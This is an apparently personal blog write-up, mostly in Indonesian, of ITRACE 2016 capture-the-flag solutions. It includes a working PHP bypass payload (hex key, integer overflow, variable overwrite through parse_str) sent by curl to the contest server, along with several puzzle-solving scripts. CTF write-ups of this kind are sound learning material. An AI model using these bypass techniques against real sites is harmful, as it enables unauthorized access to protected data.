ITRACE 2016 : Writeups

by Abdillah Muhamad — on

cover-image

Website : Compare Us - 40 Point


Title : Compare Us Point : 40 Category : #web Description : http://task-00000001.itrace.systems/compare-us.php

Di task ini kita harus melakukan bypass terhadap beberapa validasi untuk mendapatkan flag. Source soal di berikan :

<?php
    error_reporting(0);
    include 'flag.php';
    $check=thepassword();
    parse_str($_SERVER['QUERY_STRING']);
    $A=$_GET['key'];
    if(ctype_xdigit($A)){
        $e=implode('',array_map(function($i,$A){return chr(hexdec($A{$i+$i}.$A{$i+($i+1)}));},list($m,$n,$o)=range(0,2),array($A,$A,$A)));
        if($e<1 && $e>0 && $e!==0){
            if((int)(substr($A,strlen($e)*2)+0) < -1){
                if($check==$_GET['password']){
                    echo flag();
                } else {
                    echo 'Bad.';
                }
            } else {
                echo 'Bad.';
            }
        } else {
            echo 'Bad.';
        }
    } else {
        echo 'Bad.';
    }
    echo "<pre>";
    echo htmlentities(highlight_string(file_get_contents(__FILE__)));
    echo "</pre>";

pertama input kita di validasi dengan ctype_xdigit($A) yang di terima adalah [0-9a-f] kemudian ada validasi lagi nah if($e<1 && $e>0 && $e!==0) $e yang di hasilkan harus di antara 0 dan 1. 302e35 adalah hexadecimal dari 0.5 dan berhasil melewati validasi tersebut.

kemudian if((int)(substr($A,strlen($e)*2)+0) < -1) di tahap ini kita harus membuat hasil dari substr yang di cast ke integer memberikan output < -1 kemungkinan yang bisa kita lakukan adalah dengan melakukan integer overflow, dengan 29999999999999999999999999999 ternyata sudah berhasil menjadikan minus outputnya.

kemudian if($check==$_GET['password']) hampir terasa mustahil untuk menebak apa isi dari variable $check karena kita tidak bisa mengakses file flag.php tapi ternyata ada pemanggilan fungsi parse_str($_SERVER['QUERY_STRING']); yang memberikan kita peluang untuk melakukan overwrite variable yang sudah ada simply ?&check=dor&password=dor maka input kita berhasil bypass validasi tersebut.

Full payload : curl "http://task-00000001.itrace.systems/compare-us.php?key=302e3529999999999999999999999999999&check=dor&password=dor" |grep -o ITRACE{[a-z0-9_]*}

flag : ITRACE{r1d1n9_i5_34513r_th4n_r34d1n9}



Website: AJAX XAJA - 25 Point


Title : AJAX XAJA Point : 25 Category : #web Description : command: flag

ketik command flag di website dan cek ajax response via developer tools

{command: "flag", flag: "Congratulations. This is your flag: ITRACE{Asynchronous_Javascript_And_XML}",…}



Website: Not Heart Bleed - 43 Point


Title : Not Heart Bleed Point : 43 Category : #web Description : http://task-00001110.itrace.systems/request.php

Karena di server hanya menerima UTF-8 kita coba2 kirim character non-UTF dan server mengembalikan response hexadecimal yang di decode menghasilkan flag

Full payload : curl -X POST --data "request=���������������������" http://task-00001110.itrace.systems/request.php | cut -d"\"" -f 4 | grep 0[x][0-9a-f]* | sed -e 's/0x//g' | rev | cut -b 6-55 | rev | xxd -r > a && echo -n "ITR" && cat a && rm a

Flag : ITRACE{Y4Y_TO_345Y}



Forensic: Lorem is not Ipsum - 13 Point


Title : Lorem is not Ipsum Point : 13 Category : #forensic #warmup Description : http://task-00000100.itrace.systems/loremisnotipsum.tar.gz

Setelah file soal di extract ada kurang lebih 63 file raw text yang berisi paragraf lorem ipsum, tapi tiap file memikili beberapa part yang berbeda. saya gunakan python untuk mengextract flag.


import sys

def printf(c):
	sys.stdout.write(c)
	sys.stdout.flush()

f = open('0.loremipsum')
x = f.read().split(' ')

for i in range(1,63):
	k = str(i)+'.loremipsum'
	h = open(k)
	hh = h.read().split(' ')
	for u in range(len(x)):
		if x[u] == hh[u]:
			pass
		elif hh[u]!='semper':
			printf(hh[u])


Flag : ITRACE{similiriti_similikiti}



Reversing: Brute Self - 35 Point


Title : Brute Self Point : 35 Category : #reversing Description : http://task-00000011.itrace.systems/password.tar.gz

Di berikan binary ELF-64 Bit Stripped. kita analisa menggunakan IDA berdasarkan string yang di output dari program “Bad.”. di temukan flag di simpan di dalam array.

Ketika di convert ke ascii hasilnya adalah : 'K' 'V' 'T' 'C' 'E' 'G' '}' 'd' '6' 'f' 'a' 'e' '2' 'f' '5' '7' 'a' 'j' '3' 'f' '3' 'p' '8' 'a' '3' 'P' 'a' 'r' '6' 'e' '' Seharusnya flag di mulai dengan “ITRACE”

Huruf K posisinya +2 dari I
Huruf V posisinya +2 dari T
...
Huruf G posisinya +2 dari E

a = 'K' 'V' 'T' 'C' 'E' 'G' '}' 'd' '6' 'f' 'a' 'e' '2' 'f' '5' '7' 'a' 'j' '3' 'f' '3' 'p' '8' 'a' '3' 'P' 'a' 'r' '6' 'e' ''
flag = ""
for x in a:
	flag += chr(ord(x)-2)
	pass

print flag

Semua ascii di kurang 2 dan di temukan flagnya : ITRACE{b4d_c0d35_h1d1n6_1N_p4ck}



Website: Square Them - 60 Point


Title : Square Them Point : 60 Category : #web #ppc Description : http://task-00000010.itrace.systems/square.php

di task ini kita harus bikin square yang kalau di jumlah rows dan cols nya itu sama.

2	9	4   -> 15
7	5	3   -> 15
6	1	8   -> 15
-   -   -
15  15  15


jika sudah dapat susunan yang benar kirim melalui POST numbers=2,9,4,7,5,3,6,1,8 ke websitenya , jika question 1 benar maka akan lanjut ke question 2 sampai 10 dan di dapatkan flag.


import mechanize
from BeautifulSoup import BeautifulSoup
import urllib,requests
import json

def createSquare(x):
	grid = [[0,0,0],[0,0,0],[0,0,0]]
	x = int(x)
	grid[1][1] = x/3
	grid[2][0] = grid[1][1]+1
	grid[0][2] = grid[1][1]-1

	grid[0][0] = grid[1][1]-3
	grid[1][2] = grid[1][1]-2
	grid[2][1] = grid[1][1]-4

	grid[0][1] = x - (grid[0][0] + grid[0][2])
	grid[1][0] = x - (grid[1][1] + grid[1][2])
	grid[2][2] = x - (grid[2][0] + grid[2][1])

	return grid


br = mechanize.Browser()
url = 'http://task-00000010.itrace.systems/square.php'
content = br.open_novisit(url).read()
soup = BeautifulSoup(content)
soal = soup.find('span').next


count = 0
while count <= 10:
	res = ""
	square = createSquare(soal)
	for x in square:
		for val in x:
			res += str(val) + ','

	res = res[:len(res)-1]



	print "[Recv] : " + str(soal)
	print "[Send] : " + res


	params = {'numbers': res}
	data = urllib.urlencode(params)
	res = br.open(url,data).read()
	print "[Recv]" + res 
	res = json.loads(res)
	soal = res['nextsum']

	count += 1

Flag : ITRACE{m4g1c_squ4r3_is_s0_m4th}



Forensic: Binary Typ0 - 45 Point


Title : Binary Typ0 Point : 45 Category : #forensic Description : http://task-00000101.itrace.systems/raws.pcapng

Di berikan rekaman jaringan format pcapng, setelah di analisa di temukan deretan hexadecimal yang terpisah menjadi beberapa bagian yang di duga adalah gambar karena ada header magic FF D8 FF E0 tapi ada karakter yang bukan hexadecimal dan ada yang 1 karakter.

kita gunakan script python untuk membersihkan hexadecimal tersebut.


import sys,re,binascii


def printf(c):
    sys.stdout.write(c)
    sys.stdout.flush()

pattern = re.compile("[0-9a-fA-F]{2}")
res = ""
for i in range(1,11):
    k = str(i)
    h = open(k)
    hh = h.read().split(' ')
    for u in range(len(hh)):
            if pattern.match(hh[u]) and len(hh[u]) == 2:
                res += hh[u]
            elif len(hh[u]) == 1 :
                 fix = "0"+hh[u]
                 if pattern.match(fix):
                    res += fix

text_file = open("hexm", "w")
text_file.write(res)
text_file.close()

with open('hexm') as f, open('test.jpg', 'wb') as fout:
    for line in f:
        fout.write(
            binascii.unhexlify(''.join(line.split()))
        )

Flag : ITRACE{FROM.0-F}



Recon: Ping Me - 50.1 Point


Title : Ping Me Point : 50.1 Category : #recon Description : Ping Me. Literally. Hint: are mine

Hasil googling di temukan http://cafelinux.info/pingme

Flag : ITRACE{http_www.cafelinux.info_ping.me}



Recon: Copy Pasta - 100.2 Point


Title : Copy Pasta Point : 100.2 Category : #recon Description : Hints: -actually-heartbeat-opposite -Pastebin deep internet version

  • inurl:pasta
  • The hints, is just an ordinary text. Not that technicall

WARNING: Please use TOR Browser while diving in Deep Web

Di hidden wiki kita cari search engine untuk mencari copy pasta kemudian kita coba cari di ahmia search pasta dan di temukan text hosting mirip pastebin dan jika kita buat paste maka akan muncul kata2 random jadi url nya, dan clue nya adalah actually-heartbeat-opposite seperti kata random yang di generate ketika membuat raw.

akses ke url nya dengan actually-heartbeat-opposite maka akan mendapatkan flag di address bar.



PPC: Pixel Racist = 70 Point


Title : Pixel Racist Point : 70 Category : #ppc Description : http://task-00001001.itrace.systems/racist.php

mencari pixel yang paling sedikit di gunakan dalam gambar kemudian mengirimkannya sebagai jawaban ke server, setelah 10 stage di dapatkan flag.

from PIL import Image
import urllib
import urllib2
from collections import defaultdict
from mechanize import Browser

br = Browser()
url = "http://task-00001001.itrace.systems/image.php"
url2 = "http://task-00001001.itrace.systems/racist.php"
br.open(url2)

while 1:
	im = Image.open(br.open_novisit(url))
	by_color = defaultdict(int)
	for pixel in im.getdata():
	    by_color[pixel] += 1
	    
	res = ""
	curr = 9999999999
	for x,y in by_color.items():
	    if curr>y:
	        curr = y
	        res = x
	res = "%02x%02x%02x" % res
	pasam = {'color': res}
	data = urllib.urlencode(pasam)
	daa = br.open(url2,data)
	c = daa.read()
	if "flag:" in c:
		print c
		break

Flag : ITRACE{y0u_6uy5_4r3_4wes0m3}



PPC: Scazzy - 88 Point


Title : Scazzy Point : 88 Category : #ppc Description : Scazzy, bot berjenis kelamin perempuan. Suka menggoda. Tapi kalo dirayu jual mahal. https://web.telegram.org/#/im?p=@itrace

untuk menjawab pertanyaan bot telegram ini kita perlu melakukan decode terhadap pesannya dan kemudian calculate dan kirim jawabannya, tapi di saya solve dengan setengah manual tapi dengan bantuan python.

# -*- coding: utf-8 -*-

import re


def decc(data):
	pattern = re.compile("0[xX][0-9a-fA-F]+")
	pattern2 = re.compile("[0-1]{8}")

	if pattern.match(data) :
		#decode hex
		data = int(data,16)
		return data
	elif pattern2.match(data):
		#decode binary
		data = int('0b'+data,2)
		return data	


pattern = re.compile("0[xX][0-9a-fA-F]+")
pattern2 = re.compile("[0-1]{8}")

soal = raw_input()
soal = soal.split(" ")

num = list()
opp = list()
x1=0
x2=0
mas = ""
for k in soal:
	if pattern.match(k):
		num.append(decc(k))
		mas += str(decc(k))
		x1+=1
	elif pattern2.match(k):
		num.append(decc(k))
		mas += str(decc(k))
		x1+=1

	elif k == "add" or k == "x" or k == "+" or k == "-" or k == "/" or k == "\xc3\xb7":
		if k == "add":
			k = "+"
		elif k == "x":
			k = "*"
		elif k == "\xc3\xb7":
			k = "/"

		opp.append(k)
		mas += k
		x2+=1

print mas



res = eval(str(mas))
print "/answer" , res


setelah 20 stage menjawab pertanyaan di dapatkan flag Flag : Congratulations. This is your flag: ITRACE{b0t_tele6r4m_i5_m0d3rn_typ3_0f_ircs_b0t}



Misc : Print The Flag - 21 Point


Title : Print The Flag Point : 21 Category : #misc Description : Download PrintTheFlag.class and reupload to http://45.64.99.71:5555/upload.php

di berikan file PrintTheFlag.class yang header nya corrupt. kita fix headernya dengan hexedit ke CA FE BA BE dan upload ke website http://45.64.99.71:5555/upload.php untuk di jalankan dan di dapatkan flagnya

Flag : ITRACE{s0m3t1m35_j4v4_is_s0_t3xty





Trivia: Ternate Maluku Utara Indonesia Timur - 10 Point


Title : Ternate Maluku Utara Indonesia Timur Point : 10 Category : #trivia Description : https://goo.gl/forms/c0bKCOYi3CUJXtMh2

Isi survey dan di dapat flag.

Comments